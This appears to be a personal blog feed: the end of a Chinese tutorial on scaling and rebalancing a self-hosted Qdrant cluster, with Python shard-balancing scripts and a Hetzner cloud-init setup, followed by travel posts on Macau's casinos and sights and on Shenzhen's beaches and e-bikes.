"leader": 5395257186314509,
"role": "Leader",
"is_voter": true
},
"consensus_thread_status": {
"consensus_thread_status": "working",
"last_update": "2025-05-17T02:31:10.703071457Z"
},
"message_send_failures": {}
},
"status": "ok",
"time": 0.000011782
}
在有了分布式的 Qdrant 集群之后,在官方文档 https://qdrant.tech/documentation/guides/distributed_deployment/#making-use-of-a-new-distributed-qdrant-cluster 中我们可以知道:
When you enable distributed mode and scale up to two or more nodes, your data does not move to the new node automatically; it starts out empty. To make use of your new empty node, do one of the following:
由于目前我们已有的 Qdrant 是一个单节点,上面已有的 Collection 也是只有单一的 Shard, collection 的配置如下:
{
"params": {
"vectors": {
"size": 1536,
"distance": "Cosine",
"on_disk": true
},
"shard_number": 1,
"replication_factor": 1,
"write_consistency_factor": 1,
"on_disk_payload": true
},
}
...
所以这里的第一步就是需要在新的集群上面创建一个和目前的 collection 一样参数的 collection,除了 shard_number 和 replication_factor 需要修改。
和 ClickHouse 一样,创建了集群并不代表上面的数据是分布式+Replicated,你得手动指定你的数据
对于上面两个参数的设定,官方文档是这么建议的:
If you anticipate a lot of growth, we recommend 12 shards since you can expand from 1 node up to 2, 3, 6, and 12 nodes without having to re-shard. Having more than 12 shards in a small cluster may not be worth the performance overhead.
anticipate a lot of growth 听上去很符合我们的场景,这里我就使用 shard_number 为 12, replication_factor 为 2 的方式创建新的 collection,相关脚本如下:
from qdrant_client import QdrantClient
import qdrant_client.http.models as models
collection_name = "new_collection"
client = QdrantClient(
host="10.0.0.6", port=6333
)
vectors_config = models.VectorParams(
size=1536, distance=models.Distance.COSINE, on_disk=True
)
hnsw_config = HnswConfigDiff(
m=0,
payload_m=16,
ef_construct=100,
full_scan_threshold=10000,
max_indexing_threads=100,
on_disk=True,
)
client.create_collection(
collection_name=collection_name,
vectors_config=vectors_config,
shard_number=12,
replication_factor= 2,
hnsw_config=hnsw_config
)
在创建好了集群之后我们就需要将目前已有的集群数据导入到新的集群上,这里我一开始尝试在原有集群上创建 Snapshot 并导入新集群,但是这样会遇到报错:
{"status":{"error":"Wrong input: Snapshot is not compatible with existing collection: Collection shard number: 3 Snapshot shard number: 1"},"time":1107.142566774}
这里需要使用 Qdrant 的一个 Beta 版本的工具来进行迁移: https://github.com/qdrant/migration/
使用方式如下:
docker run --net=host --rm -it registry.cloud.qdrant.io/library/qdrant-migration qdrant \
--source-url 'http://localhost:6334' \
--source-collection 'new_collection' \
--target-url 'http://10.0.0.6:6334' \
--target-collection 'new_collection'
注:
registry.cloud.qdrant.io/library/qdrant-migration版本较老,建议手动用最新代码构建镜像运行代码建议手动 Patch 一下
grpc.MaxCallRecvMsgSize参数并调高batch-size(默认是 50 ,可以调整到 20000)获得更高的导入速度,相关 Issue: https://github.com/qdrant/migration/issues/30#issuecomment-2876456943
导入数据的时候为了保证最大的导入速度,可以参考 https://qdrant.tech/articles/indexing-optimization/#2-disable-hnsw-for-dense-vectors-m0 文章,将新集群的 hnsw_config 关闭,并设定一个合理的 indexing_threshold 例如:
PATCH /collections/your_collection
{
"hnsw_config": {
"m": 0
},
"optimizer_config": {
"indexing_threshold": 10000
}
}
前者可以保证导入过程中不会建立 HNSW 索引,后者保证导入的 Vector 能在到达 10000 的时候进行落盘,防止 Vector 全部堆积在内存中导致 OOM。
导入完成后可以重新打开 HNSW 建立索引。
为了方便观测每个节点的 Shard 信息,我们可以使用 /collections/<collection_name>/cluster API 来观测,例如此时响应如下:
{"result":{"peer_id":5395257186314509,"shard_count":12,"local_shards":[{"shard_id":1,"points_count":1794606,"state":"Active"},{"shard_id":2,"points_count":1450924,"state":"Active"},{"shard_id":4,"points_count":1902963,"state":"Active"},{"shard_id":5,"points_count":1774613,"state":"Active"},{"shard_id":7,"points_count":1753521,"state":"Active"},{"shard_id":8,"points_count":1687892,"state":"Active"},{"shard_id":10,"points_count":1477543,"state":"Active"},{"shard_id":11,"points_count":2051536,"state":"Active"}],"remote_shards":[{"shard_id":0,"peer_id":4182395837949771,"state":"Active"},{"shard_id":0,"peer_id":3095816753490206,"state":"Active"},{"shard_id":1,"peer_id":4182395837949771,"state":"Active"},{"shard_id":2,"peer_id":3095816753490206,"state":"Active"},{"shard_id":3,"peer_id":3095816753490206,"state":"Active"},{"shard_id":3,"peer_id":4182395837949771,"state":"Active"},{"shard_id":4,"peer_id":4182395837949771,"state":"Active"},{"shard_id":5,"peer_id":3095816753490206,"state":"Active"},{"shard_id":6,"peer_id":3095816753490206,"state":"Active"},{"shard_id":6,"peer_id":4182395837949771,"state":"Active"},{"shard_id":7,"peer_id":4182395837949771,"state":"Active"},{"shard_id":8,"peer_id":3095816753490206,"state":"Active"},{"shard_id":9,"peer_id":3095816753490206,"state":"Active"},{"shard_id":9,"peer_id":4182395837949771,"state":"Active"},{"shard_id":10,"peer_id":4182395837949771,"state":"Active"},{"shard_id":11,"peer_id":3095816753490206,"state":"Active"}],"shard_transfers":[]},"status":"ok","time":0.00011113}
只是…这样看也太不直观了,所以我们需要自己手写一个小工具来方便检查每个节点(Peer)上的 Shard 分布情况。
这就 Python 冲一个!
import requests
base_url = "http://10.0.0.6:6333"
cluster_endpoint = "/cluster"
collections_endpoint = "/collections/<collection_name>/cluster"
def get_data_from_api(endpoint):
response = requests.get(base_url + endpoint)
return response.json()
def parse_cluster_peers(cluster_data):
peers = cluster_data.get("result", {}).get("peers", {})
ip_peer_map = {}
for peer_id, peer_info in peers.items():
uri = peer_info.get("uri", "")
ip_address = uri.split("//")[-1].split(":")[0]
ip_peer_map[ip_address] = int(peer_id)
return ip_peer_map
def parse_shards(collections_data):
local_shards = collections_data.get("result", {}).get("local_shards", [])
remote_shards = collections_data.get("result", {}).get("remote_shards", [])
peer_shard_map = {}
for shard in local_shards:
peer_id = collections_data.get("result", {}).get("peer_id")
shard_id = shard.get("shard_id")
peer_shard_map.setdefault(peer_id, []).append(shard_id)
for shard in remote_shards:
peer_id = shard.get("peer_id")
shard_id = shard.get("shard_id")
peer_shard_map.setdefault(peer_id, []).append(shard_id)
return peer_shard_map
def main():
cluster_data = get_data_from_api(cluster_endpoint)
collections_data = get_data_from_api(collections_endpoint)
ip_peer_map = parse_cluster_peers(cluster_data)
peer_shard_map = parse_shards(collections_data)
ip_shard_map = {}
for ip, peer_id in ip_peer_map.items():
if peer_id in peer_shard_map:
ip_shard_map[ip] = peer_shard_map[peer_id]
else:
ip_shard_map[ip] = []
for ip, shard_ids in ip_shard_map.items():
peer_id = ip_peer_map[ip]
print(f"IP: {ip}, Peer ID: {peer_id}, Shard IDs: {shard_ids}")
if __name__ == "__main__":
main()
我们执行脚本,就可以方便看到每个节点的 Shard 分布了:
IP: 10.0.0.7, Peer ID: 4182395837949771, Shard IDs: [0, 1, 3, 4, 6, 7, 9, 10]
IP: 10.0.0.6, Peer ID: 5395257186314509, Shard IDs: [1, 2, 4, 5, 7, 8, 10, 11]
IP: 10.0.0.9, Peer ID: 3095816753490206, Shard IDs: [0, 2, 3, 5, 6, 8, 9, 11]
可以看到所有的 Shard 均匀地分布在了 3 台机器上,此时任何一台机器掉线/损坏都不会导致任何 Shard 的副本全丢而导致数据丢失。
Rose策略主要是为了保证扩容要有效且安全,该策略的四个阶段分别为复苏(Resuscitation)、优化(Optimization)、稳定(Stabilization)、去复苏(Evacuation)。
假设我们的业务越做越大了,3 个节点就开始逐渐无法满足我们的业务需求了,所以我们需要对节点进行扩容,由于上面我们使用了 shard_number 为 12,所以我们可以以 3 的整数倍进行扩容,现在是 3 节点,那我们继续扩容 3 个节点出来,节点 IP 分别为
创建方式和文初一样,只要每个节点设定好 --url 和 --bootstrap http://10.0.0.6:6335 就可以,节点加入完成后 /cluster 接口响应如下:
{
"result": {
"status": "enabled",
"peer_id": 5395257186314509,
"peers": {
"3095816753490206": {
"uri": "http://10.0.0.9:6335/"
},
"4182395837949771": {
"uri": "http://10.0.0.7:6335/"
},
"3841618339255269": {
"uri": "http://10.0.0.10:6335/"
},
"3658649898688837": {
"uri": "http://10.0.0.12:6335/"
},
"5395257186314509": {
"uri": "http://10.0.0.6:6335/"
},
"8689864553665627": {
"uri": "http://10.0.0.11:6335/"
}
},
"raft_info": {
"term": 1,
"commit": 50,
"pending_operations": 0,
"leader": 5395257186314509,
"role": "Leader",
"is_voter": true
},
"consensus_thread_status": {
"consensus_thread_status": "working",
"last_update": "2025-05-17T02:49:29.351230053Z"
},
"message_send_failures": {}
},
"status": "ok",
"time": 0.000011121
}
这个时候如果你是一个熟练使用 GlusterFS 的用户的话,你的第一反应肯定是通过以下指令进行 rebalance 来平衡一下各个节点的数据:
gluster volume rebalance VOLNAME start
但是很不幸,Qdrant 开源版本没有这样的功能(但是他们的 Cloud 上有):
It’s worth mentioning that Qdrant only provides the necessary building blocks to create an automated failure recovery. Building a completely automatic process of collection scaling would require control over the cluster machines themself. Check out our cloud solution, where we made exactly that.
Shards are evenly distributed across all existing nodes when a collection is first created, but Qdrant does not automatically rebalance shards if your cluster size or replication factor changes (since this is an expensive operation on large clusters). See the next section for how to move shards after scaling operations.
——来自:https://qdrant.tech/documentation/guides/distributed_deployment/#choosing-the-right-number-of-shard

此时我们继续运行上面的脚本就可以发现:
IP: 10.0.0.6, Peer ID: 5395257186314509, Shard IDs: [1, 2, 4, 5, 7, 8, 10, 11]
IP: 10.0.0.9, Peer ID: 3095816753490206, Shard IDs: [0, 2, 3, 5, 6, 8, 9, 11]
IP: 10.0.0.12, Peer ID: 3658649898688837, Shard IDs: []
IP: 10.0.0.7, Peer ID: 4182395837949771, Shard IDs: [0, 1, 3, 4, 6, 7, 9, 10]
IP: 10.0.0.11, Peer ID: 8689864553665627, Shard IDs: []
IP: 10.0.0.10, Peer ID: 3841618339255269, Shard IDs: []
新加入的节点都在打酱油啊, Shard 全部都在老的 Peer 上,这该怎么办?
既然官方表示已经提供了对应的接口用来移动 Shard:
curl -X POST http://localhost:6333/collections/collection_name/cluster \
-H "api-key: <apiKey>" \
-H "Content-Type: application/json" \
-d '{
"move_shard": {
"shard_id": 1,
"to_peer_id": 1000000,
"from_peer_id": 1000000
}
}'
我们可以很自然的想到一个解决方式,我们来手动 rebalance 各个 Shard,首先判断一下每个节点(Peer)应该有多少个 Shard,在这里的场景下是:
(Shard 数量 * Replica 数量) / 机器数量
也就是 (12*2)/6 = 4
然后我们可以计算出哪些节点上的 Shard 多于这个数量,哪些节点少于这个数量,计算一个移动的路径(所谓劫富济贫):
⚠️ 需要注意不要把两个同样的 Shard 调度到一个 Peer 上了,这样这个 Peer 没了你的这个 Shard 的数据就玩完了。

underfilled_peers = []
for peer_id, shard_ids in peer_shard_map.items():
if len(shard_ids) < average_shards_per_peer:
underfilled_peers.append(peer_id)
overfilled_peers = []
for peer_id, shard_ids in peer_shard_map.items():
if len(shard_ids) > average_shards_per_peer:
overfilled_peers.append(peer_id)
print("underfilled_peers")
print(underfilled_peers)
print("overfilled_peers")
print(overfilled_peers)
rebalance_operations = []
for overfilled_peer in overfilled_peers:
# Check if overfilled_peer_shard is not already in underfilled_peer, do not move two shards to the same peer
for underfilled_peer in underfilled_peers:
for overfilled_peer_shard in peer_shard_map[overfilled_peer]:
if len(peer_shard_map[underfilled_peer]) < average_shards_per_peer and overfilled_peer_shard not in peer_shard_map[underfilled_peer] and len(peer_shard_map[overfilled_peer]) > average_shards_per_peer:
print(f"将 shard_id {overfilled_peer_shard} 从 peer_id {overfilled_peer} 移动到 peer_id {underfilled_peer}")
rebalance_operations.append((overfilled_peer, underfilled_peer, overfilled_peer_shard))
peer_shard_map[underfilled_peer].append(overfilled_peer_shard)
peer_shard_map[overfilled_peer].remove(overfilled_peer_shard)
else:
# Already in target peer, skip
continue
当然,上面的逻辑写的比较简单+粗暴,我相信作为读者的你肯定可以写的更好

这样,如果没有出 Bug 的话,我们就可以获得一个移动路径列表了:
peer_id 对应的 shard_id 列表:
{5395257186314509: [1, 2, 4, 5, 7, 8, 10, 11], 4182395837949771: [0, 1, 3, 4, 6, 7, 9, 10], 3095816753490206: [0, 2, 3, 5, 6, 8, 9, 11]}
不足分片的 peer_id 列表:
[3658649898688837, 3841618339255269, 8689864553665627]
过多分片的 peer_id 列表:
[5395257186314509, 4182395837949771, 3095816753490206]
将 shard_id 1 从 peer_id 5395257186314509 移动到 peer_id 3658649898688837
将 shard_id 4 从 peer_id 5395257186314509 移动到 peer_id 3658649898688837
将 shard_id 7 从 peer_id 5395257186314509 移动到 peer_id 3658649898688837
将 shard_id 10 从 peer_id 5395257186314509 移动到 peer_id 3658649898688837
将 shard_id 0 从 peer_id 4182395837949771 移动到 peer_id 3841618339255269
将 shard_id 3 从 peer_id 4182395837949771 移动到 peer_id 3841618339255269
将 shard_id 6 从 peer_id 4182395837949771 移动到 peer_id 3841618339255269
将 shard_id 9 从 peer_id 4182395837949771 移动到 peer_id 3841618339255269
将 shard_id 0 从 peer_id 3095816753490206 移动到 peer_id 8689864553665627
将 shard_id 3 从 peer_id 3095816753490206 移动到 peer_id 8689864553665627
将 shard_id 6 从 peer_id 3095816753490206 移动到 peer_id 8689864553665627
将 shard_id 9 从 peer_id 3095816753490206 移动到 peer_id 8689864553665627
Rebalance 后的 peer_id 对应的 shard_id 列表:
Peer ID: 5395257186314509, Shard IDs: [2, 5, 8, 11]
Peer ID: 4182395837949771, Shard IDs: [1, 4, 7, 10]
Peer ID: 3095816753490206, Shard IDs: [2, 5, 8, 11]
Peer ID: 3658649898688837, Shard IDs: [1, 4, 7, 10]
Peer ID: 3841618339255269, Shard IDs: [0, 3, 6, 9]
Peer ID: 8689864553665627, Shard IDs: [0, 3, 6, 9]
此时我们只要包装一下移动 Shard 的函数:
def rebalance_shards(from_peer, to_peer, shard_id):
url = f"{base_url}/collections/new_collection/cluster"
payload = {
"move_shard": {
"shard_id": shard_id,
"from_peer_id": from_peer,
"to_peer_id": to_peer
}
}
r = requests.post(url, json=payload)
就可以把移动路径传进去然后开冲了:
for from_peer, to_peer, shard_id in rebalance_operations:
rebalance_shards(from_peer, to_peer, shard_id)
时刻谨记:this is an expensive operation on large clusters

经过一段时间的 Rebalance,我们就可以获得一个 6 节点,且 rebalance 好的集群了,此时可以配置你的 Load balancer 指向这些机器的 IP,然后应用程序连接上任何一个节点或者你的 Load balancer 地址并开始继续猛用了!

如果要缩容,那么就需要将即将被裁员的 Peer 上的 Shard 给 Move 走(类似 kubelet drain),然后通过 API 裁掉对应的 Peer 即可。
既然有了一个 3+ 集群的节点,根据 Raft,只要有 >50% 的节点在线,且我们的场景下只要掉线的节点不要包含了同一个 Shard ,那么数据是完整的,且所有操作都不会受到影响。
奇怪的是,Qdrant 的文档里面没有提及 Brain split 的情况。
所以:
好消息是,在用 Cloud 的情况下机器掉线且修不好的概率其实不大(除非服务商着火了),基本掉线的原因可能是服务商的网络问题或者机器上 OOM 了,所以只要做好 Backup 基本可以保证没有数据救不回来的情况。
还有一个需要注意的情况是,如果你的机器 somehow 掉线了并且不可恢复,然后你通过 Snapshot 恢复了一个新的 VM,且这个 VM 获得了和之前已经掉线的机器不一样的,这个新的 VM 在加入集群的时候有概率会通知其他节点更新自己的 IP:
2025-05-10T07:52:31.601762Z WARN storage::content_manager::consensus::persistent: Replaced address of peer 3994356516252114 from http://10.0.0.5:6335/ to http://10.0.0.9:6335/
也有可能不会通知其他节点,在这种情况下,我们需要手动修改所有机器上的 /qdrant_storage/raft_state.json 文件,并将对应机器的 IP 进行修改,并滚动重启所有节点。
希望你不会需要走到这一步 😇
如果你使用的 Hetzner 的 Cloud,那有额外如下建议可供参考:
还记得文章开头我们提到的如果你用 Hetzner 机器可以快速部署的方式嘛?
Hetzner 对内提供一个 API: https://docs.hetzner.cloud/#server-metadata
例如在 Hetzner 的 VM 上 cURL 一下 http://169.254.169.254/hetzner/v1/metadata/private-networks 就可以得到你的机器内网 IP。
curl http://169.254.169.254/hetzner/v1/metadata/private-networks
- ip: 10.0.0.3
alias_ips: []
interface_num: 1
mac_address: 86:00:00:c3:bf:16
network_id: 3493377
network_name: us-west-network
network: 10.0.0.0/16
subnet: 10.0.0.0/24
gateway: 10.0.0.1
只要组合一下搓出一个 cloud-init 就可以自动安装 Docker + 部署 Qdrant 节点,并设定好 --url 等参数,参考如下:
#cloud-config
write_files:
- path: /root/create_docker_compose.sh
permissions: "0755"
owner: root:root
content: |
#!/bin/bash
# Fetch the private network metadata
METADATA=$(curl -s http://169.254.169.254/hetzner/v1/metadata/private-networks)
# Extract the IP address from the metadata
PRIVATE_IP=$(echo "$METADATA" | awk -F': ' '/ip:/ {print $2}' | tr -d ' ')
# Generate the docker-compose.yml file
cat <<EOF > /root/docker-compose.yml
services:
qdrant:
image: qdrant/qdrant:v1.14.0
restart: always
volumes:
- ./qdrant_storage:/qdrant/storage
ports:
- "6333:6333"
- "6334:6334"
- "6335:6335"
environment:
QDRANT__CLUSTER__ENABLED: "true"
command: "./qdrant --bootstrap http://10.0.0.6:6335 --uri http://$PRIVATE_IP:6335"
EOF
- path: /root/install_docker.sh
permissions: "0755"
owner: root:root
content: |
#!/bin/bash
# Install Docker
curl -fsSL https://get.docker.com -o install-docker.sh
bash install-docker.sh
# Install Docker Compose
wget https://github.com/docker/compose/releases/download/v2.36.0/docker-compose-linux-x86_64 -O /usr/bin/docker-compose
chmod +x /usr/bin/docker-compose
runcmd:
# Update package lists
- apt-get update
- apt-get install -y curl wget
# Execute the install docker script
- /root/install_docker.sh
# Execute the script to create the docker-compose.yml file
- /root/create_docker_compose.sh
# Start Docker Compose
- cd /root && docker-compose up -d
如果是第一台机器,只需要稍微修改一下上述参数即可。
然后在创建 Hetzner 机器的时候填入这个信息就可以自动启动节点了:

非常方便,同时 Hetzner 友好的价格也可以保证在相对较低的成本下支撑较大体量的业务。
文章最后我们再来碰瓷一下别的服务商价格吧!
Shared CPU VM

独立 CPU VM

如果你也觉得 Hetzner 价格很香,也欢迎使用我的 Ref 来注册, https://hetzner.cloud/?ref=6moYBzkpMb9s ,这样你可以在注册成功后直接获得 20EUR 的可用额度,我们也可以获得 10EUR 的奖励😘。

以上,我们下篇文章见!
]]>是啊,沒想到這一過就是 5 年了
5 年後的最近又一次得以有空前往,考慮這次經濟狀況和時間窗口不像大學時那麼拮据,便決定多花一些時間嘗試一窺整個大灣區的狀態。
見聞和認知會改變一個人對於事物的理解,以及旅行時心態的變化,我本身是一個很討厭拍照打卡和跟團遊的人,因爲認爲這並不是旅行,而是一場被安排好的定向徒步和消費,不僅不能增加對於個人的見識並改變自己的固有認知,還會讓精心策劃這些文案的人賺的盆滿鉢滿,是一個單輸的結局。
本次行程從上海出發,直飛深圳,之後抵達珠海前往澳門,後折返回深圳前往香港,歷時 N 天。
由於需要記錄的內容較多,本次「新大灣區遊記」將會分爲多篇文章記錄,列表如下:
和往常的文章類似,本文不會按照流水帳記錄行程,而是會挑個人覺得有意思的點進行記錄。
終於我們來到了新大灣區遊記的最後一站——澳門!

雖然在澳門的停留窗口只有短暫的一天(由於澳門簽證不能像香港一樣每天都續,以及澳門酒店數量和價格(即使對比香港)也不太宜人),但是由於初期對於澳門的少量認知讓我對於澳門沒有提前做任何的「行程攻略」,如文初所述,對於澳門的旅遊規劃在整個新大灣區遊記中反而是最爲隨性而遊的狀態,畢竟對於澳門一開始的預期就是——賭場和賭場。
在前往澳門的前一天晚上有些睡不着,想起之前看到的「港澳游记 · Yiran’s Blog」重新閱讀了一遍,獲得了一點思路和預期。
在澳門的行程其實較爲單調,通過拱北口岸通關後看到來來往往的人羣有一種鄉下人進城的感覺——我在哪兒,這兒怎麼這麼多人,大家都在去哪兒,我要去哪兒?

這種迷茫的感覺有些因爲沒有提前做行程攻略的後悔,又在不斷提醒我旅行並不是奔着一個個目的地趕路+拍照,看了一下周圍普遍大家有三個去處:
想了一下只有公交車符合當下我的需求,便打開高德地圖看了一下可能要去的「大三巴」附近的位置,選擇了 3X 公交車上車開沖。

澳門口岸附近的房子的破敗感和口岸大樓的豪華形成鮮明的對比
乘車時一邊好奇車上的葡語播報一邊看着高德地圖(沒錯,不是 Google Map)發現或許在「柏港停車場」下車可以獲得比「殷皇子馬路」更加靠近大三巴的位置。
以上根據記憶寫成,可能站名並不準確。
下車後跟着地圖和人羣一陣亂走便看到了傳說中的新葡京大廈。

同時也很快經過了第一個可能的 POI:市政署大樓。

同時還發現了澳門的密雪冰城

我相信很多去澳門的人都會去看「大三巴」,但是很多人或許並不知道爲啥叫大三巴,只是去打卡拍照而已。

從大炮台公園俯瞰大三巴
我們來看看 Wiki:
大三巴牌坊(葡萄牙語:Ruínas de São Paulo)是澳門天主之母教堂(即聖保祿教堂)正面前壁的遺址,屬於「聖保祿學院天主之母教堂遺址(大三巴牌坊、前地及石階)」的組成部分之一,亦是澳門的標誌性建築物之一。
…
其中文「三巴」一名則來自聖保祿的葡萄牙文「São Paulo」的漢語譯音;此外,為了與聖保祿學院的分院——聖若瑟修院的聖堂作區別,亦因前者的規模較後者為大,故華人稱聖保祿教堂為「大三巴」,稱聖若瑟修院為「小三巴」或「三巴仔」[1]。
…
1835年,一場大火燒毀了聖保祿學院及教堂,至今殘剩教堂的正面前壁、大部分地基以及教堂前的68級石階,由於本地人認為教堂前壁形似中國傳統牌坊,故將之稱為「大三巴牌坊」[2]。
總結一下——一個教堂被大火燒了,只剩一下一面牆,被成爲牌坊,然後因爲名字叫「São Paulo」,所以叫三巴…

Anyway,由於看過了 Wiki 之後對「大三巴牌坊」徹底失去了興趣,於是在中午酒足飯飽之後便沿着一條比重慶的山路還陡的路開始莫名爬山,然後到了被稱爲「大炮台公園」的地方。

你說這是重慶我也能信
「大炮台公園」像是澳門的一個制高點,在上面除了被太陽曬以外可以看到澳門的各個地方,比如上文中的「俯瞰大三巴」視角,比如可以看到對面的珠海

在澳門街頭可以看到許多中國大陸看不到的奇怪的車。
比如在爬山路上看到坡道停着的被稱爲 Jazz 但是長的和 Fit 一樣的車。


改裝佬最喜歡的 MOMO 木質方向盤?

改了直通和桶椅的 Toyota MR-S

Hondaman 的 Accord Euro R,感覺在大陸是 1087 預訂,不知道澳門如何管理車輛改裝
在去澳門前看各種社交媒體發佈的「威尼斯人」的照片都感覺很玄幻,實際進入後感覺是——一個帶天幕的購物中心+內部水池。
仔細看天幕上可以看到一些突起(不知道是不是煙霧報警器類似的東西)

Again,由於沒有做過攻略,最虧的便是以爲「威尼斯人」內部沒有吃飯的地方,便找了個麥當勞吃了一頓,吃完後才發現有一塊專門的餐飲區域:

嚴格來說到了澳門之後第一個進入的「娛樂場」是新葡京(因爲從「大炮台公園」下來沒走多遠就到了),在樓下進入前看到一些指示牌還以爲賭桌會放在某個樓層以上,不過看到來來往往的遊客,我也跟着進去了。
進門時還被安保攔下來要求檢查證件確認年齡(可能看我長的如此年輕?(
且個人感覺澳門幾乎所有「娛樂場」的安保都不是亞洲人,不知道是不是什麼特別的法規限制
進門之後發現從一樓開始就直接是各種遊戲機一樣的賭桌。
很不幸,這裏沒有照片,因爲不讓拍照,請允許我放一個網圖:

來源:https://news.now.com/home/finance/player?newsId=444903
可能由於有豐富的 50x+ 合約操(爆)盤(倉)經歷,這種花花綠綠的遊戲機在我的眼裏只感覺無趣和花哨,甚至感覺有些供氧不足(「威尼斯人」內部好一點,不過也差不太多)。
由於以上,新葡京只是進去逛了一下就走了,最終嘗試下場還是在「威尼斯人」內部。
澳門似乎所有酒店都提供「娛樂場」
由於和真人荷官的賭博完全看不明白頭緒,加上預算非常有限(只有 100MOP),我選擇了一個非常無腦的機器——骰寶,簡單來說規則如下:

由於幾乎不用動腦子,總結一下我的「資產變化」爲:100MOP -> 20MOP -> 160MOP -> 140MOP
最後走的有些上頭,離場時摸出了 20MOP 又玩了一把,然後丟掉了 20MOP
你說好玩吧,也許?但是你說刺激吧?我只能說你沒玩過合約(

圖片來自:https://fsr-develop.com/blog-cscalp/tpost/xb7t7pmht1-how-to-calculate-binance-profit-on-the-f
讓我們來看一下這個行業可以帶來多少收入,根據「澳門特別行政區政府博彩監察協調局」的網頁: 每月幸運博彩統計資料,我們可以看到下表: 1 港元 = 1.03澳門元 (單位: 百萬澳門元)
| 月份 | 毛收入 (2024年) | 毛收入 (2023年) | 變動率 | 累計毛收入 (2024年) | 累計毛收入 (2023年) | 變動率 |
|---|---|---|---|---|---|---|
| 一月份 | 19,337 | 11,580 | +67.0% | 19,337 | 11,580 | +67.0% |
| 二月份 | 18,486 | 10,324 | +79.1% | 37,823 | 21,904 | +72.7% |
| 三月份 | 19,503 | 12,738 | +53.1% | 57,326 | 34,642 | +65.5% |
| 四月份 | 18,545 | 14,722 | +26.0% | 75,872 | 49,364 | +53.7% |
| 五月份 | 20,188 | 15,565 | +29.7% | 96,059 | 64,929 | +47.9% |
| 六月份 | 17,694 | 15,207 | +16.4% | 113,753 | 80,136 | +41.9% |
| 七月份 | 18,595 | 16,662 | +11.6% | 132,348 | 96,798 | +36.7% |
| 八月份 | 19,754 | 17,213 | +14.8% | 152,102 | 114,011 | +33.4% |
| 九月份 | 17,253 | 14,937 | +15.5% | 169,355 | 128,947 | +31.3% |
| 十月份 | 20,787 | 19,501 | +6.6% | 190,142 | 148,449 | +28.1% |
| 十一月份 | 18,438 | 16,043 | +14.9% | 208,580 | 164,492 | +26.8% |
| 十二月份 | 18,202 | 18,567 | -2.0% | 226,782 | 183,059 | +23.9% |
比如 2024 年 1 月的收入就是 193 億澳元 🫡
根據「澳門特別行政區政府統計暨普查局」統計,「2024年終澳門人口為688,300人」,根據「澳門博彩業未來的發展趨勢* ──基於澳門居民博彩行為演變分析」一文我們可以知道
博彩業是澳門最重要的產業。2018年,在澳門的就業人口中,有約22%在博彩行業工作(包 括博彩仲介), 1 是澳門僱員數量最大的行業。澳門特區政府的直接稅,有92%來自博彩業, 2 如果再加上博彩企業貢獻的其他稅費,博彩業對特區政府財政收入的貢獻還更大。
只不過每次看到澳門有些老舊的街頭和金碧輝煌的「酒店」總是有種說不上來的感覺,只想到了一句話:
贏家通吃

離開威尼斯人之後出門正好是酒店「發財車」的停車場,由於已經走了一天,便隨着人流一起上了前往「關閘」的大巴,一路聽着車上的人用各種各樣的口音分享自己的贏錢/輸錢經歷慢慢的回到了口岸。

迷幻的澳門之旅結束了,該回大陸了!
]]>是啊,没想到这一过就是 5 年了
5 年后的最近又一次得以有空前往,考虑这次经济状况和时间窗口不像大学时那么拮据,便决定多花一些时间尝试一窥整个大湾区的状态。
见闻和认知会改变一个人对于事物的理解,以及旅行时心态的变化,我本身是一个很讨厌拍照打卡和跟团游的人,因为认为这并不是旅行,而是一场被安排好的定向徒步和消费,不仅不能增加对于个人的见识并改变自己的固有认知,还会让精心策划这些文案的人赚的盆满钵满,是一个单输的结局。
本次行程从上海出发,直飞深圳,之后抵达珠海前往澳门,后折返回深圳前往香港,历时 N 天。
由于需要记录的内容较多,本次「新大湾区游记」将会分为多篇文章记录,列表如下:
和往常的文章类似,本文不会按照流水帐记录行程,而是会挑个人觉得有意思的点进行记录。
这一次在深圳的行程可以简单总结为——深圳真暖和,猛开焕新款 Model 3,电鸡之城和「哇,蓝色的海!」,而珠海
的行程则是——「这就是慢节奏?感觉就是老破小呀?」

拍摄于深圳某地铁站内
在 2024 年偶然发现「新国飙电动自行车」在上海的使用场景很香了之后便开始关注这个领域,这一次到了深圳之后也许是所处地区的原因(福田区),感觉走在路上到处都可以看到「新国飙电动自行车」,而且(对比上海来说)许多车都经过改装,「九号」的覆盖率很高,而且较大部分的人直接在机动车道上骑行,且不戴头盔(甚至还带人),此外有相当比例的电动自行车可以直接听到控制器散热风扇的声音。
之前在 Twitter 上便有听说广东是「电鸡之城」,这回到了深圳感觉印象颇深。


「去过了深圳才知道上海的冬天是有多冷」,这句话从飞机落地的那一刻,直到回到上海的家中都一直在我脑海中萦绕。
在上海出发前还是秋衣+两层毛衣+羽绒服的搭配,且需要处处当心静电,到了深圳之后立即就变成了秋衣+外套一路猛冲,完全让人意识不到这是冬天该有的状态,舒适的湿度完全不用担心静电也没有任何很潮湿的感觉,这才应该是适宜的居住温度嘛!
虽说上海也是海边城市,但是上海附近的海全部是清一色的黄色,如果要看到蓝色的海可能得去舟山(嵊泗)某处(见我之前的文章「海岛自驾旅行——嵊泗」),所以作为一个在上海生活了很久的人来说,其实并没有见到过 “真正好看的大海”。
这次来到深圳之后由于天气很不错,便拐上大学时好朋友 Allen Lau 白嫖了一波 Model 3 从福田附近一路冲刺来到了大鹏。

然后就是我目前见到过的最漂亮的海了!

较为晴朗的天气,非常舒适的温度和湿度,没有任何的 DDL 需要赶,在大鹏的那个下午是整段旅行中最惬意和放松的部分。
在海边走了一段时间时候 Allen 提议去附近的一个度假区看看,于是在「杨梅坑」附近吃了午饭之后乘船出发去被称为「鹿嘴山庄」,距离不是很远,但是要前往只有两种途径:
于是我们选择了乘船去,观光车返回的路线:

过去的船票价格不算贵(35CNY),体验是相当刺激,一路以 40KM/h 的速度在海上冲刺。


本来以为是坐船,实际上是做了个头发
到了「鹿嘴山庄」之后才知道这里是「美人鱼」的拍摄地之一,于是就能看到标志性的东西:

走了大约 20 分钟便到达了真取景地的海边:

对于我一个很少看过蓝色大海的人来说,风景绝赞



当时的心情只能用「乐不思沪」来形容,甚至有想法搬到深圳长期居住。

这个洞就是「美人鱼」取景地的洞
说实话,这个电影和特效感觉和电影的时间明显脱节,剧情只能说符合周星驰的风格,但是整体观感比较一般
离开了「鹿嘴山庄」之后回福田的路就正好白嫖了一把 Model 3(当然,还有其他时间也嫖了的)

整体感觉焕新版(或者说:无转向灯版) Model 3 驾驶体验符合在上海是静态体验和短暂试驾的状态,可能由于我的 FK7 行驶质感太差了,驾驶 Model 3 就是哪儿哪儿都非常舒服。
